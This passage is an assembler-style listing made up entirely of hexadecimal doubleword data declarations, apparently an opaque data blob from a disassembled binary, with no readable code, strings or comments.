		dd 260C6E10h, 6061042h,	0E6F4E469h, 461E08B6h, 2603E311h
		dd 0C2F99B0Bh, 6F000F80h, 4266F106h, 0A8C10DDh,	743CC882h
		dd 0A2263785h, 9D34610h, 88418444h, 60AD07FFh, 0B5A69C01h
		dd 0F101363Ah, 6B67050h, 0C1B81857h, 8ADB8348h,	8E119851h
		dd 44E63891h, 0D0048B4h, 0E70BFB84h, 0FAAD8Dh, 0D3A1A568h
		dd 69512895h, 0EDA2D900h, 0F0E34D90h, 0E46D3793h, 0F761A308h
		dd 0F6070DE0h, 0E9CFF0E9h, 862310C0h, 52698D93h, 0F08030F4h
		dd 3E6D9F75h, 83B3F980h, 383F40FBh, 0F8CE434Dh,	24171F62h
		dd 22D69902h, 0E806F043h, 0C812F008h, 203C4599h, 9CD20C1h
		dd 4304EF9h, 0D321ECD9h, 1C17B944h, 0CD380899h,	0D73F021Ah
		dd 2338EEDh, 80BE1659h,	4667100Ch, 57969B0h, 2D91BD02h
		dd 0F0807C1Fh, 13738908h, 0C1190031h, 0C82D93FDh, 0AD250F74h
		dd 62BCF85Eh, 984D084Bh, 65CD02h, 94DD5D6Dh, 84AF1EF0h
		dd 0CD0A04BFh, 390030D7h, 2D90F19Eh, 0FCDA8928h, 0CD08F962h
		dd 2880FCAh, 0AB30D08h,	0F9981C6Dh, 8087F0FFh, 56D93E40h
		dd 1EC07C1Ch, 92CE2A60h, 79EE11C0h, 63BCE264h, 94E6406Ah
		dd 0D0A5A03Eh, 8D550ED8h, 0C0280AC0h, 267E671Bh, 1F7F0DB0h
		dd 4358BF35h, 50128EF1h, 80069DEFh, 240802CCh, 0A3045D2h
		dd 0C88DF10h, 51C0D821h, 0B8B17CADh, 344CE204h,	0C717F199h
		dd 0DFAD4157h, 0CD5C2132h, 21D88C50h, 62B0183Bh, 84D7019h
		dd 1232B882h, 0CEEBFC83h, 0E18B1014h, 0F0532BC0h, 3721F0EDh
		dd 41B9440Ch, 96204295h, 88A4E841h, 0D454D90h, 0F108ABADh
		dd 2DB44139h, 20A0BCBDh, 0E24D316Ch, 97EC1609h,	0C3035420h
		dd 7FD407CDh, 302F6798h, 0F60C48CAh, 488EF8EAh,	8714D0EBh
		dd 3519DC26h, 0D249E830h, 10F84506h, 28374ECDh,	0ED37802Eh
		dd 81C4F8F1h, 8441B12h,	886FA5C0h, 9008A79h, 9BC04A96h
		dd 0B90BDAh, 0CEE01982h, 935F6850h, 0F5170400h,	52120EE5h
		dd 0F81507E1h, 0E131E06Fh, 0D02067CAh, 0E678114Ah, 0DD1C8A1Bh
		dd 7D00A411h, 2BEA9291h, 6A19FF7Ch, 8B18C2F3h, 0C78E099Eh
		dd 0E34A2A92h, 6D830A91h, 0BF31C7A7h, 7BC40C9Dh, 0DE07F910h
		dd 95D0EA93h, 0DF260AD0h, 126A1D96h, 0F7CA07C6h, 338A83B7h
		dd 0BA20091Fh, 71D00A03h, 6C5E3A91h, 824AA18h, 0F8C40FEAh
		dd 5C3C2A8Ah, 154D1611h, 390C8FC0h, 23622A93h, 268EAAE0h
		dd 0CA20D0E7h, 478A3170h, 98794AC8h, 0EA08F7C1h, 0AC8C4B6h
		dd 0D0CA02DAh, 0C7C086A9h, 0BE0920C9h, 0DC03F6Fh, 21F1B0A4h
		dd 0F0D48A07h, 198EB797h, 0A8C44D2Fh, 0ECB1BC2Ah, 8D0A5141h
		dd 0C5238020h, 874F8622h, 0AD6548C9h, 6EC6CA50h, 242948D8h
		dd 0F023C7ACh, 0ACEF09E4h
		dd 0B7EA1C01h, 21E842A4h, 358ACC95h, 0F612458h,	3020C35Bh
		dd 98C8631Ch, 1024D78Ah, 143E2CC9h, 31A0BDEBh, 0F4A08FFh
		dd 0A0731424h, 0C606AB8h, 5D2A9167h, 20520A08h,	0EAC4B4B8h
		dd 0FAF9071h, 25C4AC4Ah, 95CF7115h, 4A0AB889h, 216A940Eh
		dd 972156A8h, 12EA10E3h, 0CC4A836Fh, 2956A40Dh,	8A20ADFDh
		dd 3B984D8Fh, 80305E94h, 0F7424FA8h, 0C2F4162h,	0E22A5C40h
		dd 5729C092h, 0A5508830h, 2044A6DBh, 4A191E4Fh,	7740A9A0h
		dd 0AA2E1024h, 31CC1D8Ch, 88FDEF51h, 98CAAA48h,	0E90A08C5h
		dd 81942B57h, 0CACFFDB4h, 0F40F4980h, 67BC3DA9h, 0DC3C980Dh
		dd 66D4088Ah, 7D7CF8D7h, 0B595007Ah, 0ADA95604h, 270FFCFBh
		dd 41F07028h, 37299FC0h, 38888661h, 213A8BBCh, 1293E07Dh
		dd 980C2272h, 4144913Ah, 0DC1F0578h, 3C7DFC3Dh,	0C1505C38h
		dd 0BB83461Ch, 3C701189h, 0D62B150h, 2B381C4Ch,	0C170DC17h
		dd 48992EBCh, 1128581Ch, 283A9406h, 0DF5C0A2Ah,	0F10A9816h
		dd 240F8095h, 157C8593h, 0F9FC8803h, 181CF88Bh,	428CA5DCh
		dd 549805A2h, 76E6BF8h,	8E02D48h, 1D681C46h, 0F3E9A2Eh
		dd 9C85340Ah, 0E9687D0Ch, 31181C2Dh, 0BDB0DD9Eh, 0C9D88C32h
		dd 66EEB031h, 0E0051833h, 0A51D5C19h, 0D18C6568h, 0D4809DD3h
		dd 7C3FA005h, 0E079F542h, 0CEAE088h, 0BFB8E3h, 9E059C80h
		dd 30AE1C3Eh, 0A8A878CAh, 0F54F153Ah, 23D8E69Ch, 0D8882F74h
		dd 0A8169FDBh, 946F549Ch, 1C08C1E9h, 0D13FA122h, 0FC709D89h
		dd 0E16EDC2Ah, 8E1A86E0h, 8446218h, 0DC01A89Ch,	0B45EF547h
		dd 932E862h, 0A0FE7838h, 0CAC05CE0h, 0AB0DA81h,	98ACF0BCh
		dd 7F5C08F6h, 541580DEh, 0ADB820ACh, 2180A070h,	69102E24h
		dd 70F69818h, 0DB640DBCh, 9C060F08h, 7C181843h,	0B670C5CEh
		dd 2808C6C1h, 7331E0FFh, 0EC6208C4h, 97D3099h, 0FC0C2039h
		dd 7DBDD83Eh, 10BACB33h, 5C0818DDh, 129CD0CAh, 6CDC08C4h
		dd 890501Fh, 101698FCh,	4B337DE1h, 10DE28A2h, 14C07C08h
		dd 12CC195Ch, 8066ABCh,	200882DCh, 7C199DFCh, 6A30C730h
		dd 0BF9908BAh, 92D0392Ah, 0C44C3908h, 4DFC08AEh, 0CC2668C9h
		dd 915C8C70h, 8C4B928h,	1C04B29Ch, 0BE7C04AAh, 0FC069848h
		dd 7420947Fh, 8BAC806Ch, 8424D181h, 108A640Ch, 0C7DC0665h
		dd 92BC7908h, 0DE834420h, 0FDC89D66h, 0B0474109h, 187C0890h
		dd 9198CDA4h, 20C0D510h, 0F7649C00h, 101F8F09h,	457C125Ah
		dd 0B221B82Bh, 380C6990h, 8B8E0ADh, 63A2F4A3h, 0E7C84843h
		dd 9F1D641Ah, 5F0799ADh, 7F8127CCh, 88F094Ah, 0FF84F295h
		dd 6E1F03D6h, 63BFE1F1h, 0F8997F00h, 0FC633FF8h, 3189DF10h
		dd 1F18B709h, 7F088CBBh, 64FF18DAh, 650413Dh, 1908403Fh
		dd 18EA875Fh, 9F08868Fh, 4110EBE5h, 110D46B9h, 20EE4130h
		dd 653CB5h, 0CDC7C41Fh,	0F1B6BD18h, 0A6421024h,	9450C980h
		dd 0EC9A2092h, 89D003A7h, 4061BB6Fh, 8FC19818h,	0DE8B0408h
		dd 88E1950h, 5F884111h,	39098C7Bh, 40D9B890h, 8CA05B8Ah
		dd 30669ADFh, 0E8E0B420h, 53C9CCFDh, 1401C6A8h,	58031ECEh
		dd 0D1E08641h, 0EE081C24h, 6EF58055h, 92C3C8BEh, 0A030B500h
		dd 0A62F647Bh, 0E117037Fh, 0CB99831Dh, 0BE3243A0h, 0C4231F0Fh
		dd 8DA383FDh, 0F883C0ABh, 0C31E0FE4h, 2383FB87h, 3E1A16Fh
		dd 0A3088E51h, 431E01B6h, 409DAF02h, 0E1C9ED2h,	838645D4h
		dd 7DF4A0C3h, 0BA5D8187h, 18B47847h, 8906665Fh,	0E303088Eh
		dd 0C31F872Bh, 6360008Ch, 3B0A557Ah, 8000EF5Ah,	0FAD2CEBAh
		dd 2042E1h, 369B6EB1h, 0DEA28917h, 7173821Fh, 9DBF6080h
		dd 3ABB0A21h, 5B0F16EEh, 7B0540D7h, 0C0242C45h,	0C7310375h
		dd 21A211ABh, 0C274BED8h, 401E1F50h, 4C702008h,	0E2C01822h
		dd 0C97F306Ah, 65C1E82h, 77F445C2h, 5F29306Bh, 0E6D8501Fh
		dd 84C310D5h, 189F1044h, 0C043FB3Ch, 2DBF3372h,	0C8FF8039h
		dd 48E68ADh, 486CC4E9h,	3BCADF05h, 3E4F0050h, 0C1A45A3h
		dd 0CBBF3D61h, 627A7700h, 0D6F9EE1Dh, 210068E0h, 0AE1E4E4Bh
		dd 308D31C8h, 0CA11B406h, 3A307753h, 0BE8809CBh, 733978C7h
		dd 0DB9B0F99h, 0D3C06EEEh, 0F6E0E7B5h, 0BA2C3260h, 0DA7EDDh
		dd 91B01CFh, 0EBE8BC8Eh, 1FD81A03h, 0A88CC086h,	3FF61E19h
		dd 30875753h, 0C0FC31B5h, 0A7762108h, 0F871830Fh, 4067E028h
		dd 0D7E6C0h, 82D7343h, 13EFC597h, 0F100E1F0h, 0E35801FEh
		dd 6D7531h, 0E453980Bh,	0B2299B6Ch, 0C240B100h,	0DFD5C14Ah
		dd 4F26015Bh, 1CBDE118h, 0B5D0E03Bh, 0E0F5400h,	0D119A495h
		dd 36853FA0h, 9E03A380h, 25ED2CB0h, 0DD00D6EEh,	0B8CAB795h
		dd 0A43A89h, 5358BFAEh,	0A32EBAB5h, 78A8B00h, 0AD9EB12Ah
		dd 0AEA60097h, 4C69D187h, 0E5039A61h, 42F4FEACh, 8E283E89h
		dd 0D871FA0Fh, 0A0CAFC83h, 84381900h, 2D683F2Bh, 970D034Bh
		dd 79288AB0h, 6CF29398h, 0AC0E8F76h, 0C12D0F90h, 25446311h
		dd 0B07731F0h, 3B47004Bh, 0DE22E860h, 0D30EC420h, 0DF68BCh
		dd 748CFA53h, 59313809h, 0A4C22D00h, 7E8FC4C8h,	0F6248200h
		dd 9B91DB78h, 0D8F10F6Bh, 0BC40CE69h, 3EC45C38h, 0DE6C271Ch
		dd 92C24540h, 0B5B7ABh,	4BA5345Ah, 0F27C6FFDh, 2F567900h
		dd 4622061h, 10600F3h, 0FFACD164h, 0A0013798h, 2B3B7727h
		dd 0C730CFCDh, 4DA4A047h, 0A6951D9Ch, 0C410F0E2h, 0DA0E6BC2h
		dd 9C89D545h, 66052100h, 74E7867h, 0A77577AFh, 0EA0DE053h
		dd 9B1DA191h, 2C4E94EEh, 4C09A0CFh, 14F9CEABh, 0C07D5C9Ch
		dd 0D9C25406h, 9A05C931h, 0F51F9475h, 0BA00B41Ch, 4D6923D6h
		dd 18700384h, 0E5137A42h, 0D47BD027h, 0C2890061h, 0AED82A04h
		dd 5A4F4A1Dh, 73BAFCC2h, 79E08076h, 0A39E437h, 5D1EF02Eh
		dd 0A07AC03Ch, 202A7FE0h, 7D0CA094h, 0C891428Fh, 3C7F0EEh
		dd 1FE79674h, 81A992EFh, 0A7AC50EBh, 0C8A0DE7Eh, 2039087h
		dd 73A6855Fh, 7656C875h, 2DE12C4Dh, 0D73E07D2h,	0F784AE8Eh
		dd 0FE549053h, 0F260E89Ah, 4420CD40h, 0D6500749h, 30E40AEBh
		dd 9819AA87h, 3EF1200h,	6AF6F1B9h, 573B2050h, 0EDEB0D00h
		dd 2F5173F2h, 0A89C0064h, 915A3D46h, 0A700BD0Ch, 7F57717h
		dd 0FC9F2C03h, 0A24E0179h, 0BEC50532h, 105C2490h, 6F846802h
		dd 82254D64h, 8051B488h, 5D99FC94h, 88CB0027h, 0D9EC5BDBh
		dd 2D1EE01Ah, 9504DA56h, 0C081C25Ch, 98247D9Dh,	36243DA7h
		dd 7C002E3Bh, 0D6EFE1DFh, 0BB0A9BF4h, 0AC73DBADh, 8692EB00h
		dd 0A0E3B2h, 83A3D491h,	0D876DAECh, 62225400h, 95385712h
		dd 15FA127Dh, 6DBC30B3h, 9C0C529Bh, 180F411Bh, 0ADF6027Dh
		dd 7927D057h, 7880984Fh, 0A0BBA3A2h, 7532F848h,	1EE8D5h
		dd 0E0F97D35h, 0FC91B7ECh, 786B612h, 1F9B4C20h,	0C62B0F16h
		dd 14A0F599h, 0CDA4D1C3h, 10412A02h, 40800138h,	285DC780h
		dd 5D71DFAh, 0F9965CBCh, 9F984FE3h, 2CCB79C2h, 17935480h
		dd 0B53101ACh, 63D5702Fh, 352A12F0h, 1019ABA9h,	487A1854h
		dd 77EDC4Fh, 0F61FE929h, 77E0517Ah, 6567706Fh, 0C77CFA02h
		dd 6809FF1Bh, 26607BACh, 80880F97h, 4649E855h, 0A7096631h
		dd 80CA16BBh, 0AE2E215Dh, 6286006Ah, 0AAFB1956h, 5F2469D7h
		dd 0E3978CADh, 0C3EDFA01h, 0BC405D14h, 66DD87Fh, 0F5EFF018h
		dd 74486068h, 60CEA208h, 134D24h, 5D77FD57h, 39A60FEh
		dd 6FA18D16h, 7BAC3F00h, 59244h, 42BEEAEFh, 40040284h
		dd 6FA34900h, 3A93C17Fh
		dd 1E9C121Dh, 0ADA807B0h, 0AC1F7060h, 2550A713h, 0B1002E88h
		dd 2D583390h, 5A9293Bh,	1EB8592Bh, 0A09C26CBh, 86770F16h
		dd 9D089004h, 935CC890h, 0B7D924C9h, 0BE80E9D4h, 59C041Bh
		dd 15E59D00h, 0C89E5197h, 90DF0024h, 39215985h,	261FC7C3h
		dd 1F0046DEh, 487ED1CBh, 0C17209A3h, 0D8910F8h,	0A2DDB507h
		dd 0C064DAA4h, 965FAE07h, 6E9ED934h, 6800B33Dh,	38A7B939h
		dd 0F537019Ch, 31A057A2h, 0F69ECCBCh, 13815F00h, 8B47DC7h
		dd 9A331CB6h, 4086425h,	8089F349h, 1D523ED8h, 104FF800h
		dd 0FF5D3DC9h, 0CE3BF6A1h, 35696348h, 14F10380h, 2C9A39B2h
		dd 0FBDD0F00h, 36AEBF11h, 0A22C0A85h, 802C7B26h, 1F8747EEh
		dd 10F62BB6h, 0CDF2A004h, 80937073h, 0F8EED81Ah, 0BE98007Ah
		dd 0DDAA84E9h, 190B0F5Bh, 4108BCh, 0B1DC1074h, 0E81F4C6Ch
		dd 724D0972h, 3C8622FCh, 2E006AAAh, 0B6DFEE87h,	13CAF45Fh
		dd 3E4B0Eh, 68489F20h, 3D787398h, 0FF29A000h, 3E84DD37h
		dd 0BECF000Eh, 46B0E086h, 400EFD5h, 77DEDF8Bh, 1EE9F98Eh
		dd 71734F5Bh, 8B11DAF1h, 0DEB58h, 0F8A0D930h, 78B41DC0h
		dd 51C380B2h, 2BB9EC6Ch, 0CD700100h, 624C8CFEh,	0F67C00EEh
		dd 0ED7ABEC3h, 0FAB08ABAh, 6C20D4h, 88681A2Ah, 7A0B28A5h
		dd 0ADD9196Eh, 0C0113126h, 0C600875Dh, 4EB71732h, 7E45A16Ah
		dd 0C5F40006h, 2E1423FDh, 0C33DC142h, 0B77E006Fh, 242B0D3Ah
		dd 53E10131h, 9F3072EAh, 863CE017h, 0EE55BB06h,	781533h
		dd 7CC68499h, 600318A5h, 5EB44B00h, 0AE4E9EAAh,	0A198606Dh
		dd 0A4671E87h, 71A04CA0h, 0EC0069F0h, 0DA94723Eh, 0AE9B714h
		dd 0EA6C384Eh, 0FA8C0388h, 3298C5A0h, 0F433200Dh, 0C737F84Ah
		dd 0C062B551h, 73B02840h, 3BFCB8ECh, 0BF800C95h, 2047977Bh
		dd 4E7CCF14h, 8C589C4h,	467344C0h, 493E00A9h, 3263509Bh
		dd 0FA003BBDh, 68F414C7h, 660443h, 0C0FBD5B3h, 10299621h
		dd 0E2B02A00h, 176C71A5h, 1C27EEAh, 0FFB382ABh,	70600452h
		dd 0E90158CAh, 0C2EBC59Dh, 1D60CE40h, 7FBD0FC3h, 7660D8E8h
		dd 0F7A3A136h, 56844100h, 30B8CB0Ah, 0BC6000A9h, 260222FFh
		dd 0AE0233F6h, 56C948A7h, 0DB8A032h, 6E35BC0h, 1E1ABBEDh
		dd 3B0A195Ch, 0F87B6F8Bh, 0E1B4C884h, 0B4000484h, 313DE7D5h
		dd 0CE63008Eh, 8350660Bh, 7000A508h, 98A119E6h,	48A1F23h
		dd 0CB6ED620h, 82E4C1E8h, 0C080FA22h, 1B4F09D1h, 2443BE00h
		dd 36B13260h, 0F5A90E68h, 0F920AE88h, 5D83780Eh, 8206EC07h
		dd 0C0AF80DAh, 0AF8A3081h, 0E23C00A7h, 0E696D3D0h, 5028D6F3h
		dd 0F709BC67h, 8AA907h,	7C1E4D44h, 77BC58EEh, 7E00063Dh
		dd 56A3FAC1h, 0B448D524h, 0B8C00000h, 3106C227h, 4138C2D8h
		dd 77408832h, 4D00F4B1h, 71FE5A9Dh, 12B00FBBh, 4099D7ACh
		dd 0EB138E00h, 4C0338B5h, 30705748h, 9AC00A8Dh,	1FFA20C7h
		dd 1804802Fh, 603401BEh, 966FE50Ah, 5207CCFEh, 46A0B6C2h
		dd 6506F3h, 0BD3BCC3h, 8879E996h, 0F70C711Ch, 0CEAE9000h
		dd 601E2794h, 3035B978h, 750079C4h, 4CF2F021h, 5B55B9Dh
		dd 4E389769h, 0D6880051h, 6E3AB458h, 0A0703E04h, 9080BB4Fh
		dd 61CC9A95h, 0F8A3C9E2h, 20A6D5DEh, 0A05CC05Fh, 0D808683Ah
		dd 741B9E03h, 874CF8DFh, 7F12454h, 0D16F8014h, 229E6C7Fh
		dd 0A67594A0h, 0F485A72Ah, 26E60400h, 31C31150h, 878904B8h
		dd 2094D93Bh, 921349E4h, 825200C4h, 2BFF7980h, 5D6E988Fh
		dd 585FE0C0h, 9021BBC2h, 0F5240064h, 86C325BDh,	23FE46C8h
		dd 0F624E47Fh, 97204E7h, 4650001Ch, 40DC7BDh, 89A6565Ch
		dd 3D4090B2h, 624266CEh, 25C87E12h, 66F8389Ch, 24743C26h
		dd 383E3E1Ch, 0A8C18FE0h, 70B48C16h, 5C231552h,	750A8436h
		dd 2D85AF7h, 2EA5F37Bh,	581CE048h, 747D9514h, 0AD04748Ch
		dd 36942524h, 45F08Ch, 4020E349h, 8D2980A3h, 0C3636902h
		dd 484A7DBFh, 41B5C7D0h, 86C2CAD8h, 0A60A2C46h,	0E8A7AA3Bh
		dd 54D4A850h, 3D8BBCDAh, 850045E2h, 0AC985DEAh,	563A75D2h
		dd 73CA82E9h, 9C15EB74h, 59D20084h, 0B349B49Bh,	4C928233h
		dd 8D90F300h, 0B63A3D8Ch, 0AE5A1281h, 17844040h, 0DE3FEA83h
		dd 0C00FF7Ah, 5171A330h, 26AA91h, 50CBA661h, 609DEA73h
		dd 9C5B0500h, 0CA1C56C1h, 0B16F07D7h, 0B0461167h, 748150D5h
		dd 2E268300h, 349F47CCh, 0FA1CFCA4h, 5FEF00CDh,	970AF109h
		dd 14172FBEh, 48016A35h, 0C33D1373h, 1C33B8C8h,	1FBC9874h
		dd 3C2AA7h, 4D9149D0h, 5A89533Dh, 740083FCh, 0D7C6DF38h
		dd 59827Fh, 86D9ABBEh, 8DA45CA7h, 71DDDA00h, 0CC475B83h
		dd 0D77F30C5h, 5764D610h, 0EF6F021Fh, 25227480h, 1EEEAC53h
		dd 0DEC943h, 0D2E72011h, 0A1038B3Ah, 0B35DC0BDh, 0F59C885Fh
		dd 6FB50022h, 3244A582h, 0C401F421h, 7AEABAC2h,	2EF82CC7h
		dd 0BCF548EBh, 79A62854h, 65CD05FDh, 4087348Bh,	0A8D87694h
		dd 4300DC67h, 0AEF5F9DDh, 0E0F6F1h, 76A59B62h, 6EBC25B2h
		dd 0A7B7500h, 699F8407h, 0EA8700A2h, 7861BDCEh,	0EC03D5C4h
		dd 88B93CF4h, 29C8F66Ch, 8AA0DEC5h, 0DC400Eh, 0A47A62E4h
		dd 46005BFCh, 0F25C4825h, 300F3417h, 19295E69h,	0C0076AE5h
		dd 0FA936173h, 0C6538930h, 0A0651DA3h, 85CC00Ch, 0F21734E9h
		dd 0C4A5D90Eh, 1553C021h, 0EEE04EECh, 0DCB5326Ah, 9940F14Eh
		dd 0D5003A22h, 479878E3h, 0B84682h, 0CFC00E5Fh,	9B37434Fh
		dd 0E5B0FE00h, 0C48D3988h, 1CB50264h, 79FDCC9Dh, 1FEE6480h
		dd 19012E80h, 9F8A6823h, 5FC8FB8Ch, 70367383h, 6F61C9Bh
		dd 6084C290h, 80900E57h, 99CD3DF1h, 685119D4h, 0C1F0ED21h
		dd 8F9F0F58h, 0E3406B14h, 259145F9h, 0EB9BBE00h, 4349A0C8h
		dd 410A0095h, 0D58942A3h, 601617Ah, 547C37Dh, 0B8D00B16h
		dd 0C255036Eh, 48A12463h, 0D4271000h, 4C33623Bh, 0E6C4A08Dh
		dd 0E11700FCh, 79F79AA4h, 8002D45h, 48D9EBF3h, 3B9694A5h
		dd 64A6AD49h, 462E04C8h, 8F40804Dh, 0E107A653h,	7021EB6Dh
		dd 6FBA3651h, 0C09190E0h, 7E24D8C8h, 0DB007753h, 0F572ECA1h
		dd 0A78BCCh, 57CA5FF7h,	7F1A3B2Ch, 1546F00h, 0D5564723h
		dd 53AE0021h, 0D9A0634Dh, 0CB3CEDEBh, 0E21C00E6h, 31D6E1D3h
		dd 20B900F9h, 481DFD26h, 9600490Fh, 16881094h, 1F57E42Fh
		dd 5FCBF82Bh, 0FFCA005Ah, 0E502FE84h, 5DD0BD0Fh, 1F87A165h
		dd 22D0F8A6h, 91D700CCh, 28EE472Fh, 2E00A090h, 6397FF81h
		dd 3F0F53h, 1E5B7D4Ch, 9D57F430h, 88C0E4EEh, 2178E013h
		dd 654F0075h, 0ECB00259h, 4E00740Ah, 0F3727B9Ch, 4CF7BCCBh
		dd 74F58Fh, 37EF5E85h, 0AB5F146Bh, 950F6772h, 0E05281F8h
		dd 0C519388Bh, 1C3D3F05h, 777D5E80h, 0D9C45022h, 0B3A61118h
		dd 37A860h, 0CA99816Ch,	0A2BC7CDEh, 0E28AF100h,	0A880B2CDh
		dd 542600A7h, 0E9122E4Dh, 92F60E3Ch, 67497400h,	84A7E678h
		dd 208201A0h, 0A3331CFCh, 0B1F6FC5Ch, 4C3163FEh, 3BA7A886h
		dd 308A6BCCh, 0D8501895h, 8D0012D0h, 53ACFD1Ch,	15E7A6E9h
		dd 0A0659FEFh, 0A9F89D30h, 96009333h, 811D23FCh, 128AB8CEh
		dd 1A42C20Eh, 0C1D7283Eh, 58801A73h, 4EED3CADh,	0A03E1905h
		dd 0C08D16DBh, 5EFA5504h, 4585C80h, 691A0023h, 0CBF5C52h
		dd 0D0146BDEh, 98BB43h,	0CFB758E7h, 423F1Ch, 1F44922Dh
		dd 0CE3BDB24h, 0D6B54700h, 5A6E2C7Dh, 3EDC7F20h, 1F98051h
		dd 8D6CFFBEh, 0E03696C5h
		dd 380179C8h, 1E94E5C7h, 0E430FD6Fh, 104100F3h,	0A7F9345Eh
		dd 0A305476Ch, 97460898h, 3DC7943Ch, 22325544h,	0FC40DF4Eh
		dd 0AE723449h, 7A6CF349h, 84957B07h, 1F930F4Eh,	6A8B864h
		dd 0EF08003Dh, 0D15FFE7Ch, 0A7073F0Bh, 874D9F72h, 74135BB0h
		dd 0C010008Ah, 552802D0h, 0BE006327h, 0D94222D7h, 24540E9h
		dd 8E829395h, 0A4805F78h, 6EFCBED1h, 86071FF2h,	0BD5B0136h
		dd 900EDC73h, 0FFB1D9Dh, 4052C0D8h, 12213B20h, 1601E6B3h
		dd 0EEEB8F29h, 0BC40BEAAh, 0F9F3CBh, 735D8ADh, 0AB338532h
		dd 0CFC3453Fh, 0E6AEE080h, 8E5800C2h, 0A030D16Eh, 0FC00DAD3h
		dd 290D160Ch, 4C7993h, 4390AB26h, 0B68A6E5Fh, 0B0029130h
		dd 0C94DC3h, 213A62EEh,	59B82034h, 0D3047504h, 9880F7D6h
		dd 0EDC015C3h, 6122D880h, 640C793Fh, 5D20FB04h,	0C80CF76h
		dd 24882897h, 80509C8Fh, 135E0791h, 2400BC80h, 2A0C7FEBh
		dd 3C6155F9h, 0E0C98D1Dh, 889D9E0Ch, 92022150h,	3CDD0ED0h
		dd 975C68F0h, 0AE6C1D10h, 27127EF4h, 0D30C0A51h, 0D0E320F6h
		dd 7D1CF441h, 0F7248097h, 90872ECDh, 0DBF8AB00h, 6B38095Ch
		dd 970401D4h, 2DC7FC71h, 90BFF77Ch, 0E329F0A9h,	0BC033C00h
		dd 6AE655B3h, 5282004Ch, 41510BD7h, 0F601E0ABh,	0E550A323h
		dd 8430FDD2h, 0FBFC0014h, 0CE68A60Fh, 501FED3h,	0DBD0E6C5h
		dd 20174Ah, 0C6291F8Ch,	44C0D316h, 889428A8h, 0ED71BC2Ch
		dd 30559D26h, 12F7F080h, 0C93E8Ch, 0AB7596FBh, 0FC34A4C3h
		dd 56408860h, 40A0934Eh, 0E212A772h, 8400FB1Bh,	0CE8351ECh
		dd 6928C7C8h, 7F0FF015h, 0F20220F3h, 96F7A958h,	4CA8681Bh
		dd 381D7487h, 7C8F4D10h, 19C3B02Fh, 0BFF85239h,	47000DC6h
		dd 75D2515Ch, 9F9C95h, 4EDB1724h, 983BEF5h, 0EF80A800h
		dd 66652A16h, 720CEE85h, 0E7EA008Bh, 0A2ABFF41h, 40736D7h
		dd 0CD7D321Ch, 0AA913CD0h, 4EFB006Ch, 80B3D108h, 0FE719866h
		dd 50AD1400h, 6ACDDF63h, 23280088h, 37E97D7Ch, 540072DBh
		dd 0D741839Ah, 30AFEDB7h, 5087F28h, 0B1C09BA3h,	76C30BB3h
		dd 10FA0071h, 58988D80h, 0F103AA3Fh, 6C0E7B96h,	4C4E982Bh
		dd 9FC400AEh, 15DFBD80h, 360CE757h, 90A3BA02h, 9E550EAAh
		dd 3B0097BEh, 0CCDD9BA4h, 70123200h, 1CAB60EAh,	0EEC600DAh
		dd 9E453E5Bh, 77EC911Dh, 34FF7600h, 0AF5CA1EDh,	0EAA43983h
		dd 0CA80600h, 0A50E9F9Dh, 28BF771Dh, 0EC3C0540h, 3A1552h
		dd 0A9F7B753h, 2090D362h, 2A65F972h, 0AC400E10h, 1A9416E9h
		dd 80D1014Dh, 17C2DCA6h, 0C346F4D0h, 6A00E879h,	991A06B9h
		dd 0D77EA5h, 0EA80C7ACh, 0E9B2B869h, 535B8E0Dh,	0C5D85120h
		dd 78E718FBh, 0F60F108Ch, 5A665402h, 60180E12h,	3DD83E18h
		dd 19286889h, 0B55C1F3Ch, 7B64CDh, 0BF75695Dh, 0DA0EE276h
		dd 7957F36h, 0EF9034E3h, 3C30D9h, 551CBE49h, 0B7CBD71Fh
		dd 0BF3B9704h, 887EB2Bh, 381A0851h, 255B8050h, 2AEDF014h
		dd 0CF074F2h, 2C79B8AEh, 0E4003A20h, 68BDFE0Ah,	410F51Ch
		dd 0DED44A36h, 80E002Fh, 3C17E11h, 20571F80h, 0F177E4ABh
		dd 3C901DFAh, 6191B202h, 0C0F5228Fh, 1C2D802Dh,	0F7A50Dh
		dd 6EC9427Ch, 107B9ADh,	9738B15Ah, 89E5840h, 0C84A03BAh
		dd 0D99896DBh, 0FFCE35B0h, 19703Ah, 1A15F6B5h, 0C121DCECh
		dd 60CAB6D1h, 0C0CCC1A2h, 0CF092F6Ah, 0F37E697h, 48BEA058h
		dd 5A80C87h, 0F3C152B1h, 27B40115h, 30901EF9h, 0E505564Ch
		dd 35CD5966h, 0DAA35F80h, 6C50241Ch, 388D4084h,	3F04083Eh
		dd 0C74A7491h, 44430C85h, 0D00D35A0h, 79F1F6ECh, 45BC074Bh
		dd 7DD6B092h, 8F588028h, 22EE9E1Fh, 0BAE006E4h,	5037ABAEh
		dd 0C67A4428h, 0ED0E1560h, 14EE9F9h, 1B4989CBh,	0FCC3106Fh
		dd 0F50FB4C7h, 0C0AF93ACh, 0E9921537h, 0A59B0A9Ch, 6088E06Eh
		dd 91799F0Eh, 0DD33C41Dh, 0E89ACD40h, 0AECD1A9h, 3428A58Dh
		dd 63CF80D8h, 1C6133Bh,	0AC370D07h, 0A25002D1h,	0E58BA78h
		dd 8F4FF6B2h, 300BED40h, 3B50336Bh, 3F009CACh, 0D2DD6381h
		dd 2940D452h, 84BC586Dh, 80E97C0Ch, 0E20ED19Ch,	41D8C800h
		dd 54218198h, 36BE301Fh, 0A5944828h, 13DD8503h,	0C0021D2Dh
		dd 5385D29h, 485EDEEFh,	0FA04610h, 0D615505Fh, 70D0A2E9h
		dd 8BCB841Fh, 9FE4005h,	0F2DE8000h, 1FA099h, 0C0E303E8h
		dd 64166580h, 68A68C28h, 70911490h, 48F10E1Ah, 92A3B618h
		dd 0D2E49Ch, 59E50F99h,	0AE3A2E9Dh, 9E8C1813h, 89CD5000h
		dd 0EB65B08h, 0A095B2F5h, 208DBE27h, 0AAB89ED1h, 14009C9Bh
		dd 0E25735A9h, 1E0A0025h, 1960F995h, 464915CFh,	0C69C2EECh
		dd 4284C301h, 0A033BC1Ah, 0F80B3507h, 0CAFEA052h, 8005769h
		dd 8C75796Eh, 0CB31A4h,	80EA13D8h, 0D0E5D106h, 93D23A02h
		dd 0B8CF548Ah, 61682E90h, 2DE6F84Ch, 108268Ch, 10393A72h
		dd 66CC60F1h, 6A9400DDh, 51C4D89Ah, 0A714046Eh,	98C89216h
		dd 6E3FC8B8h, 94624150h, 0D4469AC6h, 43B82A50h,	5047FC24h
		dd 77F87182h, 4D6848B9h, 82AC09A2h, 1C90B889h, 0D200DEABh
		dd 7133A781h, 0A1AC04Eh, 8225A20Ch, 7C450ACh, 0F5887A60h
